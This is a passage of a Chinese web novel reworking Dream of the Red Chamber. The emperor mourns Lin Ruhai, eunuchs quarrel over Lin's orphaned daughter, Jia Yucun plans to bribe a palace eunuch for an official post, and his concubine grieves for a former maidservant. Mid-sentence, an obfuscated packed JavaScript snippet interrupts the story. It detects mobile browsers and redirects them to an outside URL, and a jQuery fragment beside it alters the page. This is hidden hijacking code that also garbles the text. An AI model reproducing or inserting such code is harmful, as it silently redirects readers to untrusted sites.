延嘉帝将手在案上一下一下叩着，叹道：“朕着吏部改革官员考评章程，将旧法子蠲了，另立了一套新法子，吏部是花了心思的，便是由朕看来，也不可谓不严格，可即便在这样严格的考评下，一连三年林卿家的考评皆是甲上，实在难得。朕本待叫他在地方锻炼得够了，便叫他上京来，叫他管着御史台，替朕监察百官。唉，谁知竟是如此，旦夕祸福不可测，叫朕痛失一名良臣，实在可叹。朕当嘱地方官员用心操办其身后之事，以晓百官、更励天下学子以林卿家为范。”
延嘉帝复又打开折子，用朱笔批道：“林卿其人，为官至忠、为人至信，乃我朝官员之范、学子之典，天下后世，该当效仿。特着维扬知府督办其身后之事，抚其家人。今御赐匾额一块，许其后人在堂前悬挂，增其后辈荣光，少伸其勤功至诚之念也。特谕。”
延嘉帝书罢，又问道：“林卿家现家中还有何人？”
大太监戴权早做过功课，此时从容道：“禀陛下，说来可叹，林家的旁支皆在原籍，同林大人这一支也不如何亲近。林大人家人丁又实在单薄，其家老大人、老安人皆去得早，其正配夫人也于四年前病故，从前妾室生有一子，也已夭折，如今家中仅遗得一女，才得十一岁年纪。”
延嘉帝又不禁感慨，问道：“只留此幼女在家，虽有家业，却无家主，其女日后如何生活？”
戴权充满感情地道：“万岁爷顾念臣属遗眷，实在是心慈！您且宽心，奴才已查明了，此女四年前因母亲病故，已由其外祖母贾门史氏接来京中教养，想是因其父病重的缘故，这才回家去。奴才想着，等那边事毕，只怕还是要回京中来的。”
延嘉帝将指头在案上轻轻叩着，沉吟道：“哦，朕倒忘记了，林卿家与荣国公府贾家有姻亲。”
戴权将身子又弓了弓，道：“陛下日理万机，这样的琐碎小事怎好劳动您挂心，左右总是有奴才们呢。嗳，这论起来呀，林家的这位姑娘还是宫里贾娘娘的姑表妹，说来说去，竟都不是外人。想那林家是书香世宦之家，这位林姑娘自然便是良臣之后，如今将届宫中大选之期，各地佳丽陆续来京待选，圣上若是有心提携她，便将这位姑娘接来宫中，也算得是一段佳话了。”
大太监夏守忠在心内暗骂戴老狗多事。
戴老狗已管着前朝的事，从来风头无两，怎么还嫌不足，如今连后宫的事也要插手？
实在可恨。
他这样想着，便也向前一步，弓腰禀道：“戴公公所言有理，却与宫规不合。圣上体恤万民，登极之初便将民女十三岁起参与选秀的旧例改为十四岁，虽只争一年，于万千民女却是无上的恩德，由此得了多少百姓真心称颂！想这位林姑娘如今将将十一岁年纪，如何入得内廷？此是一件；况且，其父新故，其虽为女子，也是读书识礼的，自当按律守孝，若是将其选入宫中，想此女也必为难，岂不辜负了圣上的本意？”
戴权心内也暗骂夏老狗啰嗦。
年纪？年纪算得什么问题？把人接入宫中后，自可先送去太后宫中教养几年、学学宫里头的规矩，等教养好了，年纪不就够了？
守孝就更不是什么事儿了，一入宫门，便是皇家的奴婢，从此就只有皇家的孝，自家的那些就都不作数儿了，呵，若是宫人都为自家父母亲戴起孝来，今儿你穿白，明儿我穿白，那还得了么？
延嘉帝想了想，道：“说得有理。且此女双亲既丧、伶仃孑立，到底在其外祖家居住还便宜些，宫中规矩多，恐怕拘束了她。夏守忠，你且代朕拟旨，赏赐些东西与她，嘱咐贾家好生教养抚育，不可稍有薄待。”
见延嘉帝认可自己的说话，夏守忠心内得意，却不敢表露分毫，更不敢向戴权示威，赶紧应喏了。
延嘉帝又吩咐谢运：“林卿家之职的空缺，你且拟几个人选来，朕再与你商议。”
---
故事另一头却说到应天府衙。
师爷秉贾雨村道：“老爷，早上才闻邸报，说巡盐御史林如海死了，老爷该认得他才对。”
这个师爷正是薛蟠一案中给雨村护官符，指导他袒护薛家、乱判葫芦案的那个门子。
雨村见其办事机灵，又通晓许多官场内中的门窍，便将原本的师爷撵了，让其当了师爷，就在自己身边伺候。
贾雨村听说此讯，大惊道：“怎么他死了？”
师爷道：“人食五谷，总是难免有些病灾，他也是命数如此，老爷切莫伤心。”
雨村却是震惊远大于伤心。
如海虽待他至诚，却到底在名义上是自己从前的东家，虽是承了他许多情，可雨村心里总是多少有些介意。
介意归介意，雨村却也没想到林如海竟然会猝然病逝。
想他曾经是那样的风光顺遂，可就像师爷说的一样，到底敌不过命数，生前一切转瞬便是梦幻泡影，岂不是让人唏嘘。
由此他也不禁想道——
凡人的命数就是如此，便是自己也不能跳脱出之外。若是如此，为何还要费心汲汲营营呢，须知到头来一切皆是空啊。
他才刚有一些开悟，却被师爷打断，面上神神秘秘地道：“老爷，这可是个好机会啊。”
雨村便问：“什么机会？”
师爷拊掌笑道：“老爷只顾为那林大人伤心去了，怎么将平日里的聪明都忘记了。林大人这一去，这‘两淮巡盐御史’的位置，可不就空了出来，大人不就有机会了？”
雨村不禁一哂，道：“我当是什么机会，原来是说这个。我这个‘知府’尚且没做多久，一并连根基也是不稳的，怎么又平白要贪图那个去，况且我也并没有什么要紧的门路可以运作。”
师爷忙道：“老爷怎么如此自谦？且不说您与那位林大人有旧，就说那荣国府贾家，都还是您的本家儿呢，趁此机会，您尽可向上打点些儿，便是最后不成，也好叫上官承些老爷的情，往后若有旁的缺，也能念着些儿老爷的好处，不论怎样，总是笔划算的买卖。”
雨村听他言之有理，便问道：“依你说，我却是能同谁去打点呢。”
若论读书，雨村真的是将经典读了满满一肚子，可论到这些官场上的事，他却如刚开蒙的学童一般，满心都是疑问。
师爷道：“要不说老爷真是‘吉星高照’，这一回的风儿还是宫里传出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307732|162289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来的。有位管事的公公，他便能玉成此事。”
雨村笑道：“怎么，我当是什么要紧的门路，原来是一个阉人，他竟有这样本事？”
师爷正色道：“内监虽是残缺之人，老爷可不敢看轻了他们。自古以来内监都是天子近侍，朝中时局如何、天子所思所想，他们是最明白的。况且本朝虽然严限宦官掌权，可是宫中那些要职，除内监外也再无合适人选担任——总不能学前朝的样子，叫女人去作什么劳什子的‘女官’，这可成一个什么体统呢——这些内监自有一套在圣上和大臣之间周旋的法子，又不至于叫君王生疑，又不耽误他们弄权敛财，大臣们又得实在的好处。老爷何不搭上这条线，好儿总是少不了的。”
雨村听了，也自心动，便道：“你说的是，这件事便交与你去办。你便替我打点些金银物事，若缺什么，就同闻之说，叫他帮着你一起去筹，只一件——务要办得体面些，便是不成，也不能跌了身份、叫人笑话。”
师爷领命而去，自打点孝敬物品不提。
---
话说雨村自抬了清倌人宛芳进门为妾，因她年纪小，进门时只有一十六岁，人又生得娇媚动人，雨村自然十分爱惜她。
因为这宛芳出身于烟花之地，她虽“卖艺不卖身”，可在外面“正经人”的眼中，其实分别并不大，一样地都容易沾染那些坏习气。
所以有买这样女子回家的人家，多半便会给她原来的教习、妈妈等一笔可观的银钱，名为“赎身”，其实是“买断”，为着就是斩断该女子同那些地方的联系。
雨村本来也是如此考虑，宛芳自然也是无有不依的。
这个小女子每日只是小意服侍、娇柔无限，让雨村的心没有一处不熨帖。
只是，宛芳时常便有些闷闷不乐，眉间含愁，一个人坐在窗前发怔。
这图景极静、极美，可也真令人好奇。
但每当雨村问她时，她又强颜欢笑，只做出一个无事发生的样子来。
如此几番，只把雨村的心拨弄得无处安放。
他将爱妾拥在怀里，软硬兼施、好歹才问了出来。
原来这宛芳本来是“瘦马”。
为了培养成一身出色的本领，从小她自然也是受了许多苦的。
这些从小被豢养起来精心培养的小女孩子，身旁的人都是为了在她们身上图财，更没有一个真心心疼她们的。
宛芳自然也是如此。
但宛芳又格外幸运些，她遇到一个做外场的董妈妈，这人倒不图她什么，倒常自己贴钱与宛芳弄些滚汤菜儿吃，又常来与她说话解闷。
一来二去，宛芳便唤她做“娘姨”，两个人十分亲密。
及至宛芳得了雨村的青眼，终于离了那吃人不吐骨头的害人窝，董家娘姨碍于身份，却不能跟了她来。
两人就此便分别了。
宛芳心里时时惦记她，却又不敢坏了规矩，她不能与从前的旧相识再有什么瓜葛，不能让老爷烦心、为难。
可董家娘姨在那样的境地里给过宛芳唯一的温暖，宛芳真的很想念她。
便是如此，她才常有忧色。